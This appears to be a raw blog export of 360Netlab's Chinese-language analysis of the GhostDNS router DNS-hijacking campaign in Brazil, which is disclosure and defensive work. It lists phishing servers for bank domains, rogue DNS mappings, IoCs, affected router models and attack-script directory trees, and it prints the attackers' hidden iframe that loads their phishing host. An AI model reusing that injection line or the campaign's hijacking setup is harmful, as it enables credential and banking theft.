bradesconetempresa.b.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php'] 70b8d0f46502d34ab376a02eab8b5ad7 http://193.70.95.89/default.html locaweb.com.br ['http://193.70.95.89/salvar.php'] 70b8d0f46502d34ab376a02eab8b5ad7 http://193.70.95.89/default.html www.locaweb.com.br ['http://193.70.95.89/salvar.php'] 748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html bancobrasil.com.br ['http://193.70.95.89/processar_1.php'] 748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html bancodobrasil.com.br ['http://193.70.95.89/processar_1.php'] 748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html bb.com.br ['http://193.70.95.89/processar_1.php'] 748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html www.bancobrasil.com.br ['http://193.70.95.89/processar_1.php'] 748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html www.bb.com.br ['http://193.70.95.89/processar_1.php'] 8e94b7700dde45fbb42cdecb9ca3ac4e http://193.70.95.89/BRGCB/JPS/portal/Index.do.shtml citibank.com.br ['http://193.70.95.89/BRGCB/JPS/portal/Home.do.php'] 8e94b7700dde45fbb42cdecb9ca3ac4e http://193.70.95.89/BRGCB/JPS/portal/Index.do.shtml www.citibank.com.br ['http://193.70.95.89/BRGCB/JPS/portal/Home.do.php'] 97c8abea16e96fe1222d44962d6a7f89 http://193.70.95.89 www.bradesco.com.br ['http://193.70.95.89/identificacao.php'] 9882ea325c529bf75cf95d0935b4dba0 http://193.70.95.89 www.bradescopj.com.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php'] a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php painelhost.uol.com.br ['http://193.70.95.89/processa_1.php'] a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php uolhost.uol.com.br ['http://193.70.95.89/processa_1.php'] a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php www.painelhost.uol.com.br ['http://193.70.95.89/processa_1.php'] a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php www.uolhost.com.br ['http://193.70.95.89/processa_1.php'] a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php www.uolhost.uol.com.br ['http://193.70.95.89/processa_1.php'] abcfef26e244c96a16a4577c84004a8f http://193.70.95.89 santander.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php'] abcfef26e244c96a16a4577c84004a8f http://193.70.95.89 santandernet.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php'] abcfef26e244c96a16a4577c84004a8f http://193.70.95.89 www.santander.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php'] abcfef26e244c96a16a4577c84004a8f http://193.70.95.89 www.santandernet.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php'] cf8591654e638917e3f1fb16cf7980e1 http://193.70.95.89 contasuper.com.br ['http://193.70.95.89/processar_1.php'] cf8591654e638917e3f1fb16cf7980e1 http://193.70.95.89 superdigital.com.br ['http://193.70.95.89/processar_1.php'] cf8591654e638917e3f1fb16cf7980e1 http://193.70.95.89 www.superdigital.com.br ['http://193.70.95.89/processar_1.php'] d01f5b9171816871a3c1d430d255591b http://193.70.95.89 www.bradesconetempresa.b.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php'] f71361a52cc47e2b19ec989c3c5af662 http://193.70.95.89 kinghost.com.br ['http://193.70.95.89/processa_1.php'] f71361a52cc47e2b19ec989c3c5af662 http://193.70.95.89 www.kinghost.com.br ['http://193.70.95.89/processa_1.php'] fbb4691da52a63baaf1c8fc2f4cb5d2d http://193.70.95.89 www.netflix.com ['http://193.70.95.89/envio.php'] ffd3708c786fbb5cfa239a79b45fe45b http://193.70.95.89 bradescopj.com.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php'] ffecab7ab327133580f607112760a7e2 http://193.70.95.89 clickconta.com.br ['http://193.70.95.89/identificacao.php'] 以下是其它Phishing Web Server列表 193.70.95.89 "AS16276 OVH SAS" 198.27.121.241 "AS16276 OVH SAS" 35.237.127.167 "AS15169 Google LLC" 被感染的路由器信息 通过9月21号～9月27号的GhostDNS系统日志，我们观察到其已经感染了 100k+ 个路由器IP地址，70+ 款路由器型号。根据国家进行统计巴西占比87.8%。由于路由器设备IP地址会动态更新，实际设备数会有所不同。 图5：被感染的路由器IP 国家/地区分布 以下是被感染的路由器IP 国家/地区详细列表 BR 91605 BO 7644 AR 2581 SX 339 MX 265 VE 219 US 191 UY 189 CL 138 CO 134 GT 80 EC 71 GY 70 RU 61 RO 51 PY 38 PA 35 UA 34 HN 33 BG 33 以下是感染成功的路由器Web管理页面title列表 28ZE ADSL2 PLUS AIROS AN550602B BaseDashboard C3T Routers DIR600 1 DIR-615 DLINK Dlink DIR-610 Dlink DIR-611 DLINK DIR-905L DSL Router DSL Router - GKM 1220 ELSYS CPE-2N FiberHome AN5506-02-B, hardware: GJ-2.134.321B7G, firmware: RP2520 FiberLink101 GoAhead-Boa GoAhead-Webs GoAhead-Webs Routers GoAhed 302 GOTHAN GREATEK GWR-120 KP8696X Link One Mini_httpd Multilaser Router OIWTECH Proqualit Router Realtek Semiconductor Realtek Semiconductor [Title] Roteador ADSL Roteador Wireless KLR 300N Roteador Wireless N 150Mbps Roteador Wireless N 150 Mbps Roteador Wireless N 300 Mbps Roteador Wireless N 300 Mbps [ LinkOne ] Roteador Wireless N 300 Mbps [Link One] Roteador Wireless N ( MultiLaser ) Roteador Wireless N [ MultiLaser ] TENDA TimDSL TL-WR740N / TL-WR741ND TL-WR840N TL-WR849N TP-LINK Nano WR702N TP-LINK Roteador Wireless TP-LINK Roteador Wireless N WR741ND TP-LINK TL-WR941HP TP-LINK Wireless AP WA5210G TP-LINK Wireless Lite N Router WR740N TP-LINK Wireless Lite N Router WR749N TP-LINK Wireless N Gigabit Router WR1043ND TP-LINK Wireless N Router WR841N/WR841ND TP-LINK Wireless N Router WR845N TP-LINK Wireless N Router WR941ND TP-LINK Wireless Router TP-LINK WR340G TP-LINK WR720N TP-LINK WR740N TP-LINK WR741N TP-LINK WR743ND TP-LINK WR840N TP-LINK WR841HP TP-LINK WR841N TP-LINK WR940N TP-LINK WR941N TP-LINK WR949N Wireless-N Router Wireless Router WLAN AP Webserver ZNID 总结 GhostDNS攻击程序和攻击入口多样性，攻击流程自动化，规模化，已经对互联网造成严重的安全威胁。 我们特别建议巴西家庭宽带用户及时更新路由器软件系统，检查路由器DNS地址是否已经被篡改，同时给路由器Web设置复杂的登录凭证。 我们建议相关路由器厂商提升初始密码复杂度，同时建立完善的软件系统安全更新机制。 相关安全和执法机构，可以邮件联系netlab[at]360.cn获取被感染的IP地址列表。 联系我们 感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。 IoC list #Pishing Web Server [takendown] 193.70.95.89 "AS16276 OVH SAS" [takendown] 198.27.121.241 "AS16276 OVH SAS" [takendown] 35.237.127.167 "AS15169 Google LLC" #Rogue DNS Server 139.60.162.188 "AS395839 HOSTKEY" 139.60.162.201 "AS395839 HOSTKEY" 173.82.168.104 "AS35916 MULTACOM CORPORATION" 18.223.2.98 "AS16509 Amazon.com, Inc." 185.70.186.4 "AS57043 Hostkey B.v." 200.196.240.104 "AS11419 Telefonica Data S.A." 200.196.240.120 "AS11419 Telefonica Data S.A." 80.211.37.41 "AS31034 Aruba S.p.A." [takendown] 35.185.9.164 "AS15169 Google LLC" [takendown] 144.22.104.185 "AS7160 Oracle Corporation" [takendown] 192.99.187.193 "AS16276 OVH SAS" [takendown] 198.27.121.241 "AS16276 OVH SAS" #Web Admin Server [takendown] 198.50.222.139 "AS16276 OVH SAS" #DNSChanger Scanner Server [takendown] 104.196.177.180 "AS15169 Google LLC" [takendown] 104.196.232.200 "AS15169 Google LLC" [takendown] 104.197.106.6 "AS15169 Google LLC" [takendown] 104.198.54.181 "AS15169 Google LLC" [takendown] 104.198.77.60 "AS15169 Google LLC" [takendown] 198.50.222.139 "AS16276 OVH SAS" [takendown] 35.185.127.39 "AS15169 Google LLC" [takendown] 35.185.9.164 "AS15169 Google LLC" [takendown] 35.187.149.224 "AS15169 Google LLC" [takendown] 35.187.202.208 "AS15169 Google LLC" [takendown] 35.187.238.80 "AS15169 Google LLC" [takendown] 35.188.134.185 "AS15169 Google LLC" [takendown] 35.189.101.217 "AS15169 Google LLC" [takendown] 35.189.125.149 "AS15169 Google LLC" [takendown] 35.189.30.127 "AS15169 Google LLC" [takendown] 35.189.59.155 "AS15169 Google LLC" [takendown] 35.189.63.168 "AS15169 Google LLC" [takendown] 35.189.92.68 "AS15169 Google LLC" [takendown] 35.194.197.94 "AS15169 Google LLC" [takendown] 35.195.116.90 "AS15169 Google LLC" [takendown] 35.195.176.44 "AS15169 Google LLC" [takendown] 35.196.101.227 "AS15169 Google LLC" [takendown] 35.197.148.253 "AS15169 Google LLC" [takendown] 35.197.172.214 "AS15169 Google LLC" [takendown] 35.198.11.42 "AS15169 Google LLC" [takendown] 35.198.31.197 "AS15169 Google LLC" [takendown] 35.198.5.34 "AS15169 Google LLC" [takendown] 35.198.56.227 "AS15169 Google LLC" [takendown] 35.199.106.0 "AS15169 Google LLC" [takendown] 35.199.2.186 "AS15169 Google LLC" [takendown] 35.199.61.19 "AS15169 Google LLC" [takendown] 35.199.66.147 "AS15169 Google LLC" [takendown] 35.199.77.82 "AS15169 Google LLC" [takendown] 35.200.179.26 "AS15169 Google LLC" [takendown] 35.200.28.69 "AS15169 Google LLC" [takendown] 35.203.111.239 "AS15169 Google LLC" [takendown] 35.203.135.65 "AS15169 Google LLC" [takendown] 35.203.143.138 "AS15169 Google LLC" [takendown] 35.203.167.224 "AS15169 Google LLC" [takendown] 35.203.18.30 "AS15169 Google LLC" [takendown] 35.203.183.182 "AS15169 Google LLC" [takendown] 35.203.25.136 "AS15169 Google LLC" [takendown] 35.203.3.16 "AS15169 Google LLC" [takendown] 35.203.48.110 "AS15169 Google LLC" [takendown] 35.203.5.160 "AS15169 Google LLC" [takendown] 35.203.8.203 "AS15169 Google LLC" [takendown] 35.204.146.109 "AS15169 Google LLC" [takendown] 35.204.51.103 "AS15169 Google LLC" [takendown] 35.204.77.160 "AS15169 Google LLC" [takendown] 35.204.80.189 "AS15169 Google LLC" [takendown] 35.205.148.72 "AS15169 Google LLC" [takendown] 35.205.24.104 "AS15169 Google LLC" [takendown] 35.221.110.75 "AS19527 Google LLC" [takendown] 35.221.71.123 "AS19527 Google LLC" [takendown] 35.227.25.22 "AS15169 Google LLC" [takendown] 35.228.156.223 "AS15169 Google LLC" [takendown] 35.228.156.99 "AS15169 Google LLC" [takendown] 35.228.240.14 "AS15169 Google LLC" [takendown] 35.228.244.19 "AS15169 Google LLC" [takendown] 35.228.73.198 "AS15169 Google LLC" [takendown] 35.228.90.15 "AS15169 Google LLC" [takendown] 35.230.104.237 "AS15169 Google LLC" [takendown] 35.230.158.25 "AS15169 Google LLC" [takendown] 35.230.162.54 "AS15169 Google LLC" [takendown] 35.230.165.35 "AS15169 Google LLC" [takendown] 35.231.163.40 "AS15169 Google LLC" [takendown] 35.231.60.255 "AS15169 Google LLC" [takendown] 35.231.68.186 "AS15169 Google LLC" [takendown] 35.232.10.244 "AS15169 Google LLC" [takendown] 35.234.131.31 "AS15169 Google LLC" [takendown] 35.234.136.116 "AS15169 Google LLC" [takendown] 35.234.156.85 "AS15169 Google LLC" [takendown] 35.234.158.120 "AS15169 Google LLC" [takendown] 35.234.77.117 "AS15169 Google LLC" [takendown] 35.234.89.25 "AS15169 Google LLC" [takendown] 35.234.94.97 "AS15169 Google LLC" [takendown] 35.236.117.108 "AS15169 Google LLC" [takendown] 35.236.2.49 "AS15169 Google LLC" [takendown] 35.236.222.1 "AS15169 Google LLC" [takendown] 35.236.246.82 "AS15169 Google LLC" [takendown] 35.236.25.247 "AS15169 Google LLC" [takendown] 35.236.254.11 "AS15169 Google LLC" [takendown] 35.236.34.51 "AS15169 Google LLC" [takendown] 35.237.127.167 "AS15169 Google LLC" [takendown] 35.237.204.11 "AS15169 Google LLC" [takendown] 35.237.215.211 "AS15169 Google LLC" [takendown] 35.237.32.144 "AS15169 Google LLC" [takendown] 35.237.68.143 "AS15169 Google LLC" [takendown] 35.238.4.122 "AS15169 Google LLC" [takendown] 35.238.74.24 "AS15169 Google LLC" [takendown] 35.240.156.17 "AS15169 Google LLC" [takendown] 35.240.212.106 "AS15169 Google LLC" [takendown] 35.240.234.169 "AS15169 Google LLC" [takendown] 35.240.94.181 "AS15169 Google LLC" [takendown] 35.241.151.23 "AS15169 Google LLC" [takendown] 35.242.134.99 "AS15169 Google LLC" [takendown] 35.242.140.13 "AS15169 Google LLC" [takendown] 35.242.143.117 "AS15169 Google LLC" [takendown] 35.242.152.241 "AS15169 Google LLC" [takendown] 35.242.203.94 "AS15169 Google LLC" [takendown] 35.242.245.109 "AS15169 Google LLC" [takendown] 40.74.85.45 "AS8075 Microsoft Corporation"

{"version":"0.3.1","atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"### 背景介绍\n从2018年9月20号开始，360Netlab Anglerfish蜜罐系统监测到互联网上有大量IP正在针对性地扫描路由器系统。攻击者尝试对路由器Web认证页面进行口令猜解或者通过dnscfg.cgi漏洞利用绕过身份认证，然后通过相应DNS配置接口篡改路由器默认DNS地址为Rogue DNS Server[[1\\]](https://en.wikipedia.org/wiki/DNS_hijacking) 。\n\n我们共发现3套成熟的DNSChanger程序，根据其编程语言特性我们将它们分别命名为Shell DNSChanger，Js DNSChanger，PyPhp DNSChanger。目前这3套DNSChanger程序由同一个恶意软件团伙运营，其中以PyPhp DNChanger部署规模最大。根据其功能特性，我们将它们统一命名为DNSChanger System。\n\n事实上DNSChanger System是该恶意软件软件团伙运营系统中的一个子系统，其它还包括：Phishing Web System，Web Admin System，Rogue DNS System。这4个系统之间相互协同运作实现DNS劫持功能，我们将这整个系统命名为GhostDNS。\n\n我们发现一伙攻击者利用GhostDNS系统攻击了巴西地区超过 **70** 种、**100,000** 个家用路由器，通过篡改这些路由器上的配置，攻击者劫持了这些路由器的DNS解析，并进一步窃取了路由器用户在 **50+** 网站上的登录凭证、银行帐号等信息。被劫持通信的网站主要涉及银行，云主机服务商等网站，其中也包括avira安全公司。\n\n\n\n\n### GhostDNS系统\nGhostDNS系统是由4个子系统组成，分别是：DNSChanger System，Phishing Web System，Web Admin System，Rogue DNS System等。其中DNSChanger System中主要包括信息搜集，漏洞利用等阶段，另外在3套DNSChanger程序中也会有不同的实现方式。 \n<a href=\"__GHOST_URL__/content/images/2018/10/ghostdns.png\"><img src=\"__GHOST_URL__/content/images/2018/10/ghostdns.png\" class=\"kg-image\"/></a><center>图1：GhostDNS流程图</center>\n\n#### DNSChanger System\nDNSChanger System是GhostDNS的基础架构，攻击者通过3套DNSChanger程序，覆盖外网和内网攻击入口，包含 **100+** 个攻击脚本，影响 **70+** 款路由器型号。\n<a href=\"__GHOST_URL__/content/images/2018/09/dnschanger.jpg\"><img src=\"__GHOST_URL__/content/images/2018/09/dnschanger.jpg\" class=\"kg-image\"/></a><center>图2：3套DNSChanger程序对比图</center>\n\n#### Shell DNSChanger 分析\nShell DNSChanger最后一次更新时间在2016年6月左右，主要通过Shell 编写完成共涉及25个攻击脚本，可以感染21款路由器/固件。它的功能结构主要分为：扫描程序和攻击程序。攻击者目前对Shell DNSChanger程序部署量很少，基本已经淘汰了该程序。\n\n攻击者采用了一款第三方程序 Fast HTTP Auth Scanner v0.6（FScan）作为扫描程序，同时配置了大量扫描规则,用户口令列表以及一些启动脚本。Fscan扫描IP范围是经过挑选的一个网段列表，同时这些网段IP大部分都归属于巴西。\n\n攻击程序通过扫描程序搜集到的路由器设备信息，对这些路由器Web认证页面进行口令猜解，然后通过相应DNS配置接口篡改路由器默认DNS地址为Rogue DNS Server。\n\n以下是Shell DNSChanger关键代码结构\n\n```bash\n├── brasil\n├── changers\n│   ├── 3com1\n│   ├── aprouter\n│   ├── dlink1\n│   ├── dlink2\n│   ├── dlink3\n│   ├── dlink4\n│   ├── dlink5\n│   ├── dlink6\n│   ├── dlink7\n│   ├── dlink7_\n│   ├── globaltronic\n│   ├── huawei\n│   ├── intelbrass\n│   ├── kaiomy\n│   ├── mikrotik\n│   ├── oiwtech\n│   ├── ralink\n│   ├── realtek\n│   ├── speedstream\n│   ├── speedtouch\n│   ├── speedtouch2\n│   ├── tplink1\n│   ├── tplink2\n│   ├── tplink3\n│   ├── triz\n│   └── viking\n├── configs\n├── logs\n├── mdetector\n├── mikrotik\n├── ralink\n├── src\n│   ├── BasicAuth.cpp\n│   ├── Makefile\n│   ├── Net-Telnet-3.03.tar.gz\n│   ├── base64.cpp\n│   ├── config.cpp\n│   ├── fscan.cpp\n│   ├── md5.cpp\n│   ├── md5.h\n│   ├── sockets.cpp\n│   ├── sslscanner.h\n│   ├── ulimit\n│   └── webforms.cpp\n├── .fscan\n└── .timeout\n```\n\n\n以下是已识别受影响的路由器/固件\n\n```bash\n3COM OCR-812\nAP-ROUTER\nD-LINK\nD-LINK DSL-2640T\nD-LINK DSL-2740R\nD-LINK DSL-500\nD-LINK DSL-500G/DSL-502G\nHuawei SmartAX MT880a\nIntelbras WRN240-1\nKaiomy Router\nMikroTiK Routers\nOIWTECH OIW-2415CPE\nRalink Routers\nSpeedStream\nSpeedTouch\nTenda\nTP-LINK TD-W8901G/TD-W8961ND/TD-8816\nTP-LINK TD-W8960N\nTP-LINK TL-WR740N\nTRIZ TZ5500E/VIKING\nVIKING/DSLINK 200 U/E\n```\n\n\n\n####Js DNSChanger 分析\n\nJs DNSChanger主要通过Java Script编写完成共涉及10个攻击脚本，可以感染6款路由器/固件。它的功能结构主要分为扫描程序，Payload生成器和攻击程序。Js DNSChanger程序一般会注入到一些钓鱼网站代码中，和Pishing Web System协同工作。\n\n我们在 `35.236.25.247`（网站标题为：Convertidor Youtube Mp3 | Mp3 youtube）首页发现了Js DNSChanger代码。\n\n```html\n<iframe src=\"http://193.70.95.89/2021/\" frameborder=\"0\" height=\"0\" scrolling=\"no\" title=\"no\" width=\"0\"></iframe>\n```\n\n攻击者通过Image()函数对一个预定义的内网IP地址进行端口扫描，如果检测到端口开放会将该内网IP上报给Payload生成器。\n\n```\n#扫描程序\nhttp://193.70.95.89/2021/index2.php\n```\n\nPayload生成器会根据路由器IP和Rogue DNS IP生成相应Base64编码的Payload，然后通过Data URI Scheme形式运行相应HTML代码。\n\n```\n#Payload生成器\nhttp://193.70.95.89/2021/api.init.php?d=192.168.1.1\n```\n\n攻击程序通过jQuery.ajax构造相应Http请求，对这些路由器Web认证页面进行口令猜解，然后通过相应DNS配置接口篡改路由器默认DNS地址为Rogue DNS Server。\n\n以下是Js DNSChanger部分代码结构：\n\n```bash\n├── api.init.php\n├── index.php\n└── index2.php\n```\n\n以下是已识别受影响的路由器/固件\n\n```bash\nA-Link WL54AP3 / WL54AP2\nD-Link DIR-905L\nRoteador GWR-120\nSecutech RiS Firmware\nSMARTGATE\nTP-Link TL-WR841N / TL-WR841ND\n```\n\n以下是其扫描IP范围\n\n```\n192.168.0.1\n192.168.15.1\n192.168.1.1\n192.168.25.1\n192.168.100.1\n10.0.0.1\n192.168.2.1\n```\n\n####PyPhp DNSChanger 分析\n\nPyPhp DNSChanger程序在2018年4月26号左右完成开发，主要通过python和php编写完成，共涉及 **69** 个攻击脚本，可以感染 **47** 款路由器/固件。它的功能结构主要分为Web API，扫描程序和攻击程序。攻击者一般会在云服务器部署大量PyPhp DNSChanger程序实例，这也是攻击采用的DNSChanger主要攻击手段。我们已累计发现 **100+** PyPhp DNSChanger扫描节点，其中有大量IP位于Google云。\n\nWeb API是和Admin Web System通信的接口，攻击者可以通过它控制各个扫描节点，比如执行扫描任务等。\n\n扫描程序包括Masscan端口扫描和利用Shodan API筛选banner特征获取到相应路由器设备IP信息。Masscan扫描IP范围是经过挑选的一个网段列表，这些网段IP大部分都归属于巴西。另外Shodan API搜索条件也限制了只搜索巴西国家。\n\n有意思的是我们在Github上发现一个项目跟攻击者使用相同的Shodan API Key，并且这个Key是属于教育研究用途，但我们不确定这个Shodan API Key是否因泄漏而导致被攻击者利用。\n\n以下是攻击者使用的Shodan API Key信息\n\n```bash\nAPI key: LI****Lg9P8****X5iy****AaRO\nCreated: 2017-11-03T16:55:13.425000\nPlan: EDU\n```\n\n攻击程序会根据扫描程序搜集到的路由器IP信息，对这些路由器Web认证页面进行口令猜解或者通过dnscfg.cgi漏洞利用绕过身份认证，然后通过相应DNS配置接口篡改路由器默认DNS地址为Rogue DNS Server。\n\n另外，PyPhp DNSChanger程序还存在感染成功统计页面，可以清楚地看到每个扫描节点的感染情况。\n\n\n\n<center>图3：一个PyPhp DNSChanger扫描节点统计页面</center>\n\n以下是PyPhp DNSChanger部分代码结构\n\n```bash\n├── api\n├── application\n│   ├── class\n│   │   ├── routers\n│   │   │   ├── routers.28ZE.php\n│   │   │   ├── routers.AN5506-02-B.php\n│   │   │   ├── routers.ELSYSCPE-2N.php\n│   │   │   ├── routers.PQWS2401.php\n│   │   │   ├── routers.TLWR840N.php\n│   │   │   ├── routers.WR941ND.php\n│   │   │   ├── routers.airos.php\n│   │   │   ├── routers.c3t.php\n│   │   │   ├── routers.cisconew.php\n│   │   │   ├── routers.dlink.905.php\n│   │   │   ├── routers.dlink.dir600.php\n│   │   │   ├── routers.dlink.dir610.php\n│   │   │   ├── routers.dlink.dir610o.php\n│   │   │   ├── routers.dlink.dir615.php\n│   │   │   ├── routers.fiberhome.php\n│   │   │   ├── routers.fiberhomenew.php\n│   │   │   ├── routers.ghotanboa.php\n│   │   │   ├── routers.goahed.php\n│   │   │   ├── routers.greatek.php\n│   │   │   ├── routers.greatek2.php\n│   │   │   ├── routers.gwr120.php\n│   │   │   ├── routers.huawei.php\n│   │   │   ├── routers.intelbras.php\n│   │   │   ├── routers.intelbras.wrn240.php\n│   │   │   ├── routers.intelbras.wrn300.php\n│   │   │   ├── routers.intelbrasN150.php\n│   │   │   ├── routers.linkone.php\n│   │   │   ├── routers.livetimdslbasic.php\n│   │   │   ├── routers.livetimsagecom.php\n│   │   │   ├── routers.mikrotkit.php\n│   │   │   ├── routers.multilaser.php\n│   │   │   ├── routers.oiwtech.php\n│   │   │   ├── routers.othermodels.php\n│   │   │   ├── routers.sharecenter.php\n│   │   │   ├── routers.thomson.php\n│   │   │   ├── routers.timdsl.php\n│   │   │   ├── routers.timvmg3312.php\n│   │   │   ├── routers.wirelessnrouter.php\n│   │   │   ├── routers.wrn1043nd.php\n│   │   │   ├── routers.wrn342.php\n│   │   │   ├── routers.wrn720n.php\n│   │   │   ├── routers.wrn740n.php\n│   │   │   ├── routers.wrn749n.php\n│   │   │   ├── routers.wrn840n.php\n│   │   │   ├── routers.wrn841n.php\n│   │   │   └── routers.wrn845n.php\n│   │   ├── routers_py\n│   │   │   ├── WR300build8333.py\n│   │   │   ├── install.sh\n│   │   │   ├── router.ArcherC7.py\n│   │   │   ├── router.FiberLink101.py\n│   │   │   ├── router.GEPONONU.py\n│   │   │   ├── router.PNRT150M.py\n│   │   │   ├── router.QBR1041WU.py\n│   │   │   ├── router.RoteadorWirelessN300Mbps.py\n│   │   │   ├── router.SAPIDORB1830.py\n│   │   │   ├── router.TENDAWirelessNBroadbandrouter.py\n│   │   │   ├── router.TLWR840N.py\n│   │   │   ├── router.TLWR841N.py\n│   │   │   ├── router.TLWR849N.py\n│   │   │   ├── router.TPLINKWR841N.py\n│   │   │   ├── router.TechnicLanWAR54GSv2.py\n│   │   │   ├── router.TendaWirelessRouter.py\n│   │   │   ├── router.WEBManagementSystem.py\n│   │   │   ├── router.WLANBroadbandRouter.py\n│   │   │   ├── router.WebUI.py\n│   │   │   ├── router.WirelessNWRN150R.py\n│   │   │   ├── router.WirelessRouter.py\n│   │   │   ├── router.WiveNGMTrouterfirmware.py\n│   │   │   ├── router.ZXHNH208N.py\n│   │   │   └── scan\n│   │   │   ├── __init__.py\n│   │   │   └── password.py\n│   │   ├── scanner\n│   │   │   └── class.scanner.utils.php\n│   │   ├── shodan\n│   │   │   ├── class.shodan.php\n│   │   │   └── cookie.txt\n│   │   ├── utils\n│   │   │   ├── class.colors.php\n│   │   │   ├── class.utils.php\n│   │   │   └── class.webrequest.php\n│   │   └── web\n│   │   ├── blockedtitles\n│   │   ├── class.web.api.php\n│   │   └── class.web.interface.php\n│   ├── config.bruteforce.php\n│   ├── config.init.php\n│   ├── config.layout.php\n│   ├── config.rangelist - bkp.php\n│   ├── config.rangelist.php\n│   ├── config.routers.php\n│   ├── config.scanner.php\n│   ├── launchers\n│   │   └── attack\n│   │   └── launch\n│   └── logs\n├── logs\n│   ├── change.log\n│   └── gravar.php\n├── parse_logs\n└── scanner\n ├── api.php\n ├── extrator.php\n ├── ranged_scanner.php\n ├── rodar.php\n ├── rodarlista.php\n ├── shodan.php\n └── teste.py\n```\n\n以下是已识别受影响的路由器/固件\n\n```\nAirRouter AirOS\nAntena PQWS2401\nC3-TECH Router\nCisco Router\nD-Link DIR-600\nD-Link DIR-610\nD-Link DIR-615\nD-Link DIR-905L\nD-Link ShareCenter\nElsys CPE-2n\nFiberhome\nFiberhome AN5506-02-B\nFiberlink 101\nGPON ONU\nGreatek\nGWR 120\nHuawei\nIntelbras WRN 150\nIntelbras WRN 240\nIntelbras WRN 300\nLINKONE\nMikroTik\nMultilaser\nOIWTECH\nPFTP-WR300\nQBR-1041 WU\nRoteador PNRT150M\nRoteador Wireless N 300Mbps\nRoteador WRN150\nRoteador WRN342\nSapido RB-1830\nTECHNIC LAN WAR-54GS\nTenda Wireless-N Broadband Router\nThomson\nTP-Link Archer C7\nTP-Link TL-WR1043ND\nTP-Link TL-WR720N\nTP-Link TL-WR740N\nTP-Link TL-WR749N\nTP-Link TL-WR840N\nTP-Link TL-WR841N\nTP-Link TL-WR845N\nTP-Link TL-WR849N\nTP-Link TL-WR941ND\nWive-NG routers firmware\nZXHN H208N\nZyxel VMG3312\n```\n\n\n\n#### Web Admin System\n我们对这个系统所了解的信息比较少，但是能够确认它是属于Web Admin System，并且跟PyPhp DNSChanger协同工作。\n\n\n\n<center>图4：Web Admin System登录界面</center>\n\n通过Web Admin System登陆框提示信息“Elite Priv8”，我们认为Elite是攻击者的一个标志，Priv8意思是“Private”。同时我们发现跟这个帖子《testador santander banking 2.1 versão beta elitepriv8》[[2\\]](http://www.forum-hacker.com.br/archive/index.php/t-537.html) 采用了同样的描述。\n\n以下是Web Admin Server地址\n\n```\n198.50.222.139\t\"AS16276 OVH SAS\"\n```\n\n\n\n\n#### Rogue DNS System\n通过对Rogue DNS Server（139.60.162.188）碰撞检测，我们共发现它劫持了52个域名，主要涉及银行，云主机服务商等网站，其中也包括avira安全公司。\n\n以下是Rogue DNS Server（139.60.162.188）劫持细节\n\n```\n{\"domain\": \"avira.com.br\", \"rdata\": [\"0.0.0.0\"]}\n{\"domain\": \"banco.bradesco\", \"rdata\": [\"198.27.121.241\"]}\n{\"domain\": \"bancobrasil.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"bancodobrasil.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"bb.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"bradesco.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"bradesconetempresa.b.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"bradescopj.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"br.wordpress.com\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"caixa.gov.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"citibank.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"clickconta.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"contasuper.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"credicard.com.br\", \"rdata\": [\"198.27.121.241\"]}\n{\"domain\": \"hostgator.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"itau.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"itaupersonnalite.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"kinghost.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"locaweb.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"netflix.com.br\", \"rdata\": [\"35.237.127.167\"]}\n{\"domain\": \"netflix.com\", \"rdata\": [\"35.237.127.167\"]}\n{\"domain\": \"painelhost.uol.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"santander.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"santandernet.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"sicredi.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"superdigital.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"umbler.com\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"uolhost.uol.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.banco.bradesco\", \"rdata\": [\"198.27.121.241\"]}\n{\"domain\": \"www.bancobrasil.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.bb.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.bradesco.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": 